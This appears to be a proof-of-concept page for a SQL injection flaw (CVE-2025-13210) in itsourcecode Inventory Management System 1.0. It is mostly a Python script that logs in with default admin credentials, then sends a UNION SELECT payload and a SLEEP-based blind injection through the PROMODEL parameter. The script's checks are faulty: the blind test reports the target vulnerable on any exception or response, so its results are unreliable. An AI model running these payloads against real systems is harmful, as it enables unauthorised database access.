CVE-2025-13210 itsourcecode Inventory Management System SQL注入漏洞

import requests import sys # CVE-2025-13210 SQL Injection PoC # Target: itsourcecode Inventory Management System 1.0 # Endpoint: /admin/products/index.php?view=add # Parameter: PROMODEL TARGET_URL = "http://target-site.com/admin/products/index.php" LOGIN_URL = "http://target-site.com/admin/login.php" USERNAME = "admin" PASSWORD = "admin" def login(session): """Login to admin panel""" data = { "username": USERNAME, "password": PASSWORD } response = session.post(LOGIN_URL, data=data) return "admin" in response.text or response.status_code == 200 def exploit_sqli(session): """Exploit SQL injection vulnerability""" # Basic SQL injection test - extract database version payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -" params = { "view": "add", "PROMODEL": payload } try: response = session.get(TARGET_URL, params=params) # Check for SQL error indicators if "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] SQL Injection confirmed!") print("[+] Database version information may be leaked") return True else: print("[-] No obvious SQL injection response detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def blind_sqli_test(session): """Time-based blind SQL injection test""" # Time-based blind injection - if vulnerable, response will be delayed payload = "' AND SLEEP(5)-- -" params = { "view": "add", "PROMODEL": payload } try: response = session.get(TARGET_URL, params=params, timeout=10) print("[+] Blind SQL injection test completed") return True except: print("[+] Time delay detected - vulnerability confirmed!") return True if __name__ == "__main__": print("[*] CVE-2025-13210 SQL Injection PoC") print("[*] Target: itsourcecode Inventory Management System 1.0") session = requests.Session() # Step 1: Login print("\n[Step 1] Attempting admin login...") if login(session): print("[+] Login successful") else: print("[-] Login failed") sys.exit(1) # Step 2: Test SQL injection print("\n[Step 2] Testing SQL injection...") exploit_sqli(session) # Step 3: Blind SQL injection test print("\n[Step 3] Testing blind SQL injection...") blind_sqli_test(session) print("\n[*] Scan completed")